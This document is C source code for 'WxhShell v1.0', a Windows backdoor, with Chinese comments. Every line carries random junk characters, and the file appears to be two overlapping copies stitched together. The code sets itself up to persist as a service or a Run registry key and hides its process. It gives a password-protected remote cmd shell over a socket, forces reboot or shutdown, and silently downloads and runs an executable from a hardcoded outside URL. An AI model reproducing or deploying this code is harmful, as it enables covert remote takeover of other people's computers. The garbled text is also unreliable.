    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bD^owa  
    if(Boot(SHUTDOWN)) 3q.q YX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RCrCs  
    else { <aw[XFg  
    closesocket(wsh); !Cs_F&l"j  
    ExitThread(0); qK+5NF|  
    } Sdo-nt  
    break; UG^q9 :t  
    } mDWG7Asp  
  // 获取shell i%/+5gq  
  case 's': { r%_djUd  
    CmdShell(wsh); U:`Kss`  
    closesocket(wsh); =I<R!ZSN  
    ExitThread(0); aXVFc5C\  
    break; (:_$5&i7  
  } hp2t"t  
  // 退出 965 jtn  
  case 'x': { VVZ'i.*_3?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #E[0ys1O  
    CloseIt(wsh); 9?$i?  
    break; (Z*!#}z`  
    } .`lCWeHN  
  // 离开 6863xOv{T  
  case 'q': { 1oS/`)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #WuBL_nZ~  
    closesocket(wsh); u, ff>/1  
    WSACleanup(); s7<AfaJPF  
    exit(1); #spCtZE  
    break; | Iib|HQ)  
        } \bF{-"7.  
  } H|*m$| $,  
  } [ 3Gf2_  
8}[).d160  
  // 提示信息 XX@ZQcN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T%Lx%Qn  
} .>S!ji  
  } 0@(&eH=  
EPm/r  
  return; ;jXgAAz7  
} yfSmDPh  
"g|#B4'e  
// shell模块句柄 NUZl`fu1Z4  
int CmdShell(SOCKET sock) 6<]lW  
{ 2iOV/=+  
STARTUPINFO si; Z r8*et  
ZeroMemory(&si,sizeof(si)); 3mgD(,(^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >%G1"d?j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^c<Ve'-  
PROCESS_INFORMATION ProcessInfo; 2HdC |$_+  
char cmdline[]="cmd"; /(cPfZZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !Ee:o"jG{  
  return 0; .]u /O`c]  
} ZH8,K Y"  
?}0,o.  
// 自身启动模式 |N2#ItBbW  
int StartFromService(void) >j/w@Fj  
{ f?Lw)hMrA  
typedef struct ;'|Ey  
{ l;Wj]  
  DWORD ExitStatus; 'NmRR]Q9  
  DWORD PebBaseAddress; | (93gJ  
  DWORD AffinityMask; vQCy\Gi   
  DWORD BasePriority; }j%5t ~Qa  
  ULONG UniqueProcessId; \85i+q:LuA  
  ULONG InheritedFromUniqueProcessId; gJXaPJA{  
}   PROCESS_BASIC_INFORMATION; +rd+0 `}C  
V&5wRz+`W  
PROCNTQSIP NtQueryInformationProcess; =  [E  
oxs#866x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ? k/`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  @5FQX  
A&VG~r$  
  HANDLE             hProcess; KPF1cJ2N  
  PROCESS_BASIC_INFORMATION pbi; w>gYx(8b  
! mHO$bQ"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fVlB=8DNk&  
  if(NULL == hInst ) return 0; 5+'<R8{:,  
";F'~}bDA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i@yC-))bY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s_Sk0}e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;TYBx24vD'  
K-4PI+qQ\  
  if (!NtQueryInformationProcess) return 0; _b 0& !l<  
6Oq 7#3]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UNYqft4  
  if(!hProcess) return 0; #e"[^_C@!  
(zk"~Ud  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oU8q o-J1H  
s AkdMo  
  CloseHandle(hProcess); r@V!,k#S  
rp$'L7lrX  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kmW4:EA%  
if(hProcess==NULL) return 0; Y4-t7UlS;  
'DR!9De  
HMODULE hMod; eFgA 8kY)  
char procName[255]; ^[[P*NX3  
unsigned long cbNeeded; ax`o>_)  
wMn i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Tk}]Gev  
j%kncGS  
  CloseHandle(hProcess); (=0.inZ  
~$'awY  
if(strstr(procName,"services")) return 1; // 以服务启动 V0@=^Bls  
e+WNk 2  
  return 0; // 注册表启动 }#fbbtd  
} ]M=&+c>H~  
aN?zmkPpov  
// 主模块 /: "1Z]@  
int StartWxhshell(LPSTR lpCmdLine) a(nlTMfu  
{ dd;~K&_Q/i  
  SOCKET wsl; W1~0_;  
BOOL val=TRUE; zCZf%ATq  
  int port=0; .*oU]N%K=  
  struct sockaddr_in door; i5Ggf"![  
23PGq%R  
  if(wscfg.ws_autoins) Install(); **%37  
lxx2H1([  
port=atoi(lpCmdLine); RZLq]8pM  
FrS]|=LJhX  
if(port<=0) port=wscfg.ws_port; Ui~>SN>s  
@"A4$`Xi3  
  WSADATA data; oR'm2d^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b6bHTH0  
(QEG4&9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /v{I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )nkY_' BV  
  door.sin_family = AF_INET; 4(+PD&_J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Et$2Y-L.  
  door.sin_port = htons(port); B\~}3!j  
/uflpV|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z.,MVcd  
closesocket(wsl); K;?+8(H  
return 1; V[LglPt  
} VA%J\T|G2\  
I7onX,U+  
  if(listen(wsl,2) == INVALID_SOCKET) {  B,@i  
closesocket(wsl); (PL UFT  
return 1; ?<!|  
} oH@78D0A  
  Wxhshell(wsl); |yCMt:Hk  
  WSACleanup(); kiEa<-]  
w )f#V s  
return 0; :#Wd~~d  
)=+|i3]U  
} 5pX6t  
6nn *]|7  
// 以NT服务方式启动 /~1+i'7V.,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MgZ/(X E  
{ 4#D,?eA7  
DWORD   status = 0; Mx}gN:Wt  
  DWORD   specificError = 0xfffffff; 5P2K5,o|n~  
&>O+}>lr9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \bXa&Lq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =;L|gtH"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4W75T2q#  
  serviceStatus.dwWin32ExitCode     = 0; 2 ?C)&  
  serviceStatus.dwServiceSpecificExitCode = 0; wYea\^co  
  serviceStatus.dwCheckPoint       = 0; LVy yO3e  
  serviceStatus.dwWaitHint       = 0; b%+Xy8a  
a?1Wq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KI.unP%  
  if (hServiceStatusHandle==0) return; *. t^MP  
W?& %x(6M  
status = GetLastError(); tQVVhXQ7  
  if (status!=NO_ERROR) @7 }W=HB  
{ >P(.:_ ^p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Uo49*Mr  
    serviceStatus.dwCheckPoint       = 0; ?,/ }`3Vw  
    serviceStatus.dwWaitHint       = 0; (3e 2c  
    serviceStatus.dwWin32ExitCode     = status; &{:-]g\  
    serviceStatus.dwServiceSpecificExitCode = specificError; gXU8hTd8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u8^lB7!e/  
    return;  7GGUV  
  } (Ldi|jL  
bA 2pbjg=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @Qe0! (_=  
  serviceStatus.dwCheckPoint       = 0; btB%[]  
  serviceStatus.dwWaitHint       = 0; hH.G#-JO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); GgU/ !@  
} 0RfZEG)  
u*R_\*j@  
// 处理NT服务事件,比如:启动、停止 c-w)|-ac.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z:O8Ls^\T  
{ )7@0[>  
switch(fdwControl) )oZ dj`  
{ lZ0 =;I  
case SERVICE_CONTROL_STOP: *pd@.|^)m  
  serviceStatus.dwWin32ExitCode = 0; 3`HV(5U[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gw(z1L5 n  
  serviceStatus.dwCheckPoint   = 0; jPeYmv]  
  serviceStatus.dwWaitHint     = 0; <@}9Bid!o  
  { al0L&z\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XW9!p.*.U  
  } ,4 rPg]r@  
  return; }Jw,>}  
case SERVICE_CONTROL_PAUSE: ]n~V!hl?A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PF2nLb2-  
  break; G$PE}%X  
case SERVICE_CONTROL_CONTINUE: k)u[0}   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =Qq+4F)MD  
  break; Xj*Wu_  
case SERVICE_CONTROL_INTERROGATE: hZ3bVi)L\  
  break; 5;?yCWc  
}; 1M-pr 8:6s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8L XHk l  
} :gT4K-O j  
6~{C.No}  
// 标准应用程序主函数 zDp2g)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a.'*G6~Qgw  
{ ^.tg7%dJ  
b6[j%(   
// 获取操作系统版本 qR.Q,(b|  
OsIsNt=GetOsVer(); N!32 wJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^8tEach  
q4q6c")zp  
  // 从命令行安装 :,^gj  
  if(strpbrk(lpCmdLine,"iI")) Install(); K,]=6 Rj  
c,22*.V/  
  // 下载执行文件 zi:BF60]=  
if(wscfg.ws_downexe) { ax2B ]L2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l%ZhA=TKQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); tkhCw/  
} !wNO8;(  
l2d{ 73h  
if(!OsIsNt) { l0] EX>"E  
// 如果时win9x,隐藏进程并且设置为注册表启动 4 :=]<sc,  
HideProc(); DlT{`  
StartWxhshell(lpCmdLine); 2:R+tn(F  
} *I'yH8Fcn  
else kT?J5u _o  
  if(StartFromService()) v<;Md-<  
  // 以服务方式启动 Jwp7gYZ  
  StartServiceCtrlDispatcher(DispatchTable); 'S~5"6r  
else ~ 1pr~  
  // 普通方式启动 (t.Nk[  
  StartWxhshell(lpCmdLine); x"(KBEK~  
edV\-H5<  
return 0; =xrv~  
} E9}C  #  
zQA`/&=Y  
H"KCK6  
;=@0'xPEa-  
=========================================== &zs$x?/  
iLz@5Zj8  
23?rEhKe  
:]c3|J  
h~26WLf.  
:EH=_"  
" /bEAK-  
G:JR7N$  
#include <stdio.h> r/sNrB1U"y  
#include <string.h> U&xUfBDt  
#include <windows.h> H-%v3d>3  
#include <winsock2.h> q=G+Tocv  
#include <winsvc.h> G`zm@QL  
#include <urlmon.h> .2pK.$.  
2%> FR4a  
#pragma comment (lib, "Ws2_32.lib") j9,P/K$:w  
#pragma comment (lib, "urlmon.lib") OTp]Xe/  
\1`O_DF~o  
#define MAX_USER   100 // 最大客户端连接数 : jx4{V  
#define BUF_SOCK   200 // sock buffer X|[`P<'N<  
#define KEY_BUFF   255 // 输入 buffer Y~Ifj,\  
IAEAhqp  
#define REBOOT     0   // 重启 nie%eC&U  
#define SHUTDOWN   1   // 关机 Wf<LR3  
I|J/F}@p  
#define DEF_PORT   5000 // 监听端口 Mlq.?-QgIL  
mt`.6Xz~  
#define REG_LEN     16   // 注册表键长度 h$=2p5'-  
#define SVC_LEN     80   // NT服务名长度 8[>zG2  
W`&hp6Jq  
// 从dll定义API L(o15  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e*!kZAf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V,9cl,z+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rbQR,Nf2x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CNIsZ v@Q  
RL<c>PY  
// wxhshell配置信息 Ha ]YJ}  
struct WSCFG { 5?L<N:;J_  
  int ws_port;         // 监听端口 KU;9}!#  
  char ws_passstr[REG_LEN]; // 口令 d1kJRJ   
  int ws_autoins;       // 安装标记, 1=yes 0=no iCyf Oh  
  char ws_regname[REG_LEN]; // 注册表键名 _rYkis^ u  
  char ws_svcname[REG_LEN]; // 服务名 2[CdZ(k]5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iO[<1?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Il.K"ll  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >f'g0g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &/b~k3{M_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MPk5^ua:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 80;(Gt@<"  
}`"6aM   
}; X?$_Sd"G+5  
<t,x RBk  
// default Wxhshell configuration ZB&6<uw  
struct WSCFG wscfg={DEF_PORT, MfQ!6zE  
    "xuhuanlingzhe", L+QLLcS~EM  
    1, Fx+*S3==%e  
    "Wxhshell", Ev P{p  
    "Wxhshell", i?~3*#IpD  
            "WxhShell Service", !Uc T RI  
    "Wrsky Windows CmdShell Service", d7i]FV  
    "Please Input Your Password: ", qCO/?kW  
  1, nOz.G"  
  "http://www.wrsky.com/wxhshell.exe", Z/K{A`  
  "Wxhshell.exe" Z8oK2Dw  
    }; 03(4 x'z  
\4#W xZ  
// 消息定义模块 EP+J N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;GI&lpKK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z)\@i=m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K@#L)VT!  
char *msg_ws_ext="\n\rExit."; >*n0n!vF  
char *msg_ws_end="\n\rQuit."; 1QJL .  
char *msg_ws_boot="\n\rReboot..."; BUR*n;V`  
char *msg_ws_poff="\n\rShutdown..."; 4e1Y/ Xq`  
char *msg_ws_down="\n\rSave to "; ]fD} ^s3G  
8*fv'  
char *msg_ws_err="\n\rErr!"; HKr Mim-  
char *msg_ws_ok="\n\rOK!"; : c[L3rJl  
%[yJ4WL  
char ExeFile[MAX_PATH]; 9S-9.mvop  
int nUser = 0; Q^ (b)>?r;  
HANDLE handles[MAX_USER]; Yrn)VV[)h  
int OsIsNt; \15nS B  
{V-v-f  
SERVICE_STATUS       serviceStatus; `p7=t)5k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V!dtF,tH  
5D l/aHb  
// 函数声明 CA#,THty  
int Install(void); ^KELKv,_  
int Uninstall(void); &w~d_</  
int DownloadFile(char *sURL, SOCKET wsh); FE{FGM q  
int Boot(int flag); LD g?'y;2  
void HideProc(void); LrK,_)r:~  
int GetOsVer(void); T5:G$-qL(  
int Wxhshell(SOCKET wsl); w\brVnt  
void TalkWithClient(void *cs); t_suF$  
int CmdShell(SOCKET sock); Ki~1qu:  
int StartFromService(void); yOg+iFTr  
int StartWxhshell(LPSTR lpCmdLine); O#u=c1 ?:  
,u g@f-T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AFfAtu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0AV c  
\_U$"/$4VH  
// 数据结构和表定义 Z: 7fV5b(  
SERVICE_TABLE_ENTRY DispatchTable[] = TuYCR>P[  
{ #!m.!? O  
{wscfg.ws_svcname, NTServiceMain}, (3&?wy_l  
{NULL, NULL} -)/$M(Pu"  
}; FkRo _?  
wuqJr:q*#  
// 自我安装 }#E[vRf  
int Install(void) N"y)Oca{  
{ _{Hj^}+$  
  char svExeFile[MAX_PATH]; *~H Sy8s  
  HKEY key; u?{H}V  
  strcpy(svExeFile,ExeFile); _]*>*XfF(  
RAK-UN  
// 如果是win9x系统,修改注册表设为自启动 { buy"X4  
if(!OsIsNt) { W8!Qv8rf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lu6(C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $lu t[o74  
  RegCloseKey(key); n\.Vqe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LYg- .~<I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HX{`Vah E  
  RegCloseKey(key); w8D"CwS1Rx  
  return 0; A_#DJJMm  
    } !&Pui{F  
  } D #/Bx[  
} [ps*uva  
else { jMDY(mwt  
<1COZ)   
// 如果是NT以上系统,安装为系统服务 63~ E#Dt4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9?3&?i2-  
if (schSCManager!=0) <V6VMYXY4  
{ wsVV$I[2  
  SC_HANDLE schService = CreateService @{pLk4E  
  ( :$9tF >  
  schSCManager, 2Q"K8=s  
  wscfg.ws_svcname, E\2%E@0#  
  wscfg.ws_svcdisp, PIpi1v*qz  
  SERVICE_ALL_ACCESS, {& T_sw@[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^Js9 s8?$  
  SERVICE_AUTO_START, m7>JJX3=<  
  SERVICE_ERROR_NORMAL, [\b 0Lem  
  svExeFile, 8&Y^""#e)  
  NULL, M+9gL3W  
  NULL, #`X?=/q  
  NULL, ApXy=?fc  
  NULL, f8.gT49I  
  NULL G<^{&E+=  
  ); q\527^ZM  
  if (schService!=0) lR6x3C H@  
  { ?#YE`]  
  CloseServiceHandle(schService); =6|&Jt  
  CloseServiceHandle(schSCManager); =k:,qft2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *~j@*{u  
  strcat(svExeFile,wscfg.ws_svcname); `P;s 8~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VD]zz ^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k/gZ,  
  RegCloseKey(key); Wh 2tNyS  
  return 0; }:*]aL<7_  
    } ~PahoRS  
  }  \qK&q  
  CloseServiceHandle(schSCManager); yw3$2EW  
} 9 ea\vZ  
} m&?r%x  
1"M]3Kl  
return 1; U\<?z Dw  
} f\>M'{cV  
6ez<g Uf  
// 自我卸载 0aa&m[Mk  
int Uninstall(void) "?I y(*^  
{ e?ly H  
  HKEY key; Q=20IQp  
s1=G;  
if(!OsIsNt) { TNh1hhJ$b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aC.~&MxFC  
  RegDeleteValue(key,wscfg.ws_regname); B[-v[K2  
  RegCloseKey(key); dg"3rs /?A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Um-[~-  
  RegDeleteValue(key,wscfg.ws_regname); ;^I*J:]  
  RegCloseKey(key); O[)kboY  
  return 0; >R! jB]5  
  } .:QLk&a,:,  
} ,lA  s  
} iBgx  
else { bPt!yI:  
:'l^kSP_*C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ApV~( k)W  
if (schSCManager!=0) Pjjewy1}^  
{  Qq;Foa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }n2M G  
  if (schService!=0) \EtQ5T*u  
  { Rt!FPoN,y  
  if(DeleteService(schService)!=0) { XkF%.hWo  
  CloseServiceHandle(schService); 1\>^m  
  CloseServiceHandle(schSCManager); 8Sh54H  
  return 0; ?fjuh}Q5h  
  } F!Q@ u  
  CloseServiceHandle(schService); CtAwBQO  
  } OAkZKG|  
  CloseServiceHandle(schSCManager); DLMM/WJg@  
} W=vP]x >J  
} $79=lEn,  
71gT.E  
return 1; SY^t} A7:/  
} -w_QJ_z_  
72y0/FJ  
// 从指定url下载文件 2Yn <2U/^R  
int DownloadFile(char *sURL, SOCKET wsh) iS Gq!D  
{ k+Czj  
  HRESULT hr; Md2>3-  
char seps[]= "/"; lWc:$qnR-K  
char *token; G]i/nB  
char *file; _Khc3Jo  
char myURL[MAX_PATH]; ~ZEmULKkR  
char myFILE[MAX_PATH]; CcFn.omA  
*q".-u!D[  
strcpy(myURL,sURL); EzV96+  
  token=strtok(myURL,seps); n3Z 5t  
  while(token!=NULL) J/GSceHF  
  { VG5+CU  
    file=token; ,:H\E|XeBw  
  token=strtok(NULL,seps); L>%o[tS  
  } 2.zsCu4lj.  
Hp|_6hO 2  
GetCurrentDirectory(MAX_PATH,myFILE); g,95T Bc  
strcat(myFILE, "\\"); WKIoS"?-F  
strcat(myFILE, file); >wBJy4:  
  send(wsh,myFILE,strlen(myFILE),0); @I/]D6 ~"  
send(wsh,"...",3,0); ;YX4:OBqr  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !l 1fIc  
  if(hr==S_OK) #Av.iAs  
return 0; \":m!K;Z  
else wl$h4 {L7  
return 1; .0rh y2  
D'A/wG  
} rKf-+6Na  
xA$nsZ]  
// 系统电源模块 C #6dC0  
int Boot(int flag) ,o,I5>`  
{ %V{7DA&C  
  HANDLE hToken; 4^Q :  
  TOKEN_PRIVILEGES tkp; )5U[o0td  
D] ~MC  
  if(OsIsNt) { WjwLM2<nK7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .Pw\~X3!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `poE6\  
    tkp.PrivilegeCount = 1; 3?Pn6J{O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; q]N:Tpm9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sZm$|T0  
if(flag==REBOOT) { k]HEhY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Gz[fG  
  return 0; .]7Qu;L  
} h!:~f-@j4  
else { (BfgwC)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '@CR\5 @  
  return 0; ?Wt$6{)  
} JEgx@};O  
  } JPWOPB'H  
  else { ' dx1x6  
if(flag==REBOOT) { Bv. `R0e&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ttc[Q]Ri  
  return 0; YxinE`u~  
} zyg  }F  
else { 0#*#a13  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PF7&p~O(Z  
  return 0; g{9+O7q  
} VA%Un,5h  
} Z)xaJGbw  
z.VyRBi0  
return 1; yxq}QSb \3  
} U}l14  
C 2w2252T  
// win9x进程隐藏模块 Tl|:9_:t  
void HideProc(void) -+em!g'  
{ -tI'3oT1  
k` (jkbEZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &"mzwQX  
  if ( hKernel != NULL ) ~w;]c_{.b  
  { ~E^,=4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u}|%@=xn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T!}[yW  
    FreeLibrary(hKernel); *8tI*Pus  
  } ^p/Ob'!  
HH>:g(bu  
return; ^+9sG$T_EV  
} iIGbHn,/  
Vax^8 -  
// 获取操作系统版本 FHPXu59u  
int GetOsVer(void) AisN@  
{ =60~UM  
  OSVERSIONINFO winfo; ')$NfarQ.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6k/U3&R  
  GetVersionEx(&winfo); DK&h eVIoZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %&\jOq~  
  return 1; Lh-`OmO0>F  
  else 45H!;Q sk  
  return 0; ec|/ /  
} >u(>aV|A  
vkRi5!bR  
// 客户端句柄模块 :p4"IeKs  
int Wxhshell(SOCKET wsl) j9/-"dTL  
{ 1lnU77;  
  SOCKET wsh; 7gS1~Q4\V2  
  struct sockaddr_in client; $8BE[u|H2  
  DWORD myID; U`x bPQ  
Q\3 Z|%  
  while(nUser<MAX_USER) 1Fi86  
{ qJ_1*!!91  
  int nSize=sizeof(client); Sm2>'C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8Z2.`(3c[  
  if(wsh==INVALID_SOCKET) return 1; l**;k+hw  
RP`2)/sMT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \M/6m^zS  
if(handles[nUser]==0) <[/%{sUNC  
  closesocket(wsh); l~Lb!;,dN  
else #DkD!dW(l  
  nUser++; l48k<  
  } BD#.-xWV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e|r0zw S  
B )JM%r  
  return 0; O;]?gj 1@  
} Sb:T*N0gS  
I6LD)?  
// 关闭 socket lKEa)KF[  
void CloseIt(SOCKET wsh) jec:i-,  
{ WnAd5#G  
closesocket(wsh); hD<f3_k  
nUser--; ~mN% (w!^  
ExitThread(0); ]PNow S\  
} ~tGCLf]c\  
YTU.$t;Ez  
// 客户端请求句柄 ER{3,0U  
void TalkWithClient(void *cs) W%!@QY;E(  
{ y^FOsr  
$rG<uO  
  SOCKET wsh=(SOCKET)cs; 2#_38=K=@  
  char pwd[SVC_LEN]; xUYow  
  char cmd[KEY_BUFF]; r[Zq3  
char chr[1]; C/v}^#cLD  
int i,j; |Zq\GA  
M>_= "atI  
  while (nUser < MAX_USER) { Dr"/3xm  
PtKTm\,JL0  
if(wscfg.ws_passstr) { wy4q[$.4v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !g 0cC.'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S@:B6](D$  
  //ZeroMemory(pwd,KEY_BUFF); (clU$m+oXX  
      i=0; "'eWn6O(  
  while(i<SVC_LEN) { S>ugRasZ$  
te2 Iu%5 z  
  // 设置超时 "j Zm0U$,*  
  fd_set FdRead; TvrwVL)  
  struct timeval TimeOut; 6d{j0?mM  
  FD_ZERO(&FdRead); P&t;WPZ  
  FD_SET(wsh,&FdRead); 2X @G"  
  TimeOut.tv_sec=8; _F8T\f |  
  TimeOut.tv_usec=0; KP~-$NR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7>x;B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bc}dYK3$q  
56s*A*z$ ;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YIDg'a+z  
  pwd=chr[0]; 4 10:%WGc  
  if(chr[0]==0xd || chr[0]==0xa) { 5L &:_iQZy  
  pwd=0; YMAQ+A!  
  break; ^"tqdeCb=  
  } I>((o`  
  i++; g[!Cj,  
    } oO:LG%q  
~R!gJTO9  
  // 如果是非法用户,关闭 socket #K`B<2+T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YY!!<2_  
} 9N}W(>  
h3h8lt_ |  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P{lh)m>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j<$R4A 1  
f8!l7{2%q  
while(1) { sfC@*Y2XT  
lCE2SKj  
  ZeroMemory(cmd,KEY_BUFF); h>tsis'N9  
[s %\.y(q  
      // 自动支持客户端 telnet标准   |+/$ g.  
  j=0; >q&L/N5  
  while(j<KEY_BUFF) { 0Uaem  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /'+4vXc@  
  cmd[j]=chr[0]; Q2$/e+   
  if(chr[0]==0xa || chr[0]==0xd) { kGj]i@(PA4  
  cmd[j]=0; drX4$Kdf]  
  break; 5V rcR=?O  
  } X)NWX9^;'  
  j++; htg'tA^CtS  
    } n +d J c  
%o-jwr}O{  
  // 下载文件 WFpl1O73  
  if(strstr(cmd,"http://")) { q @*UUj@   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q"p#H8  
  if(DownloadFile(cmd,wsh)) V*kznm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {"\q(R0  
  else _"v~"k 90^  
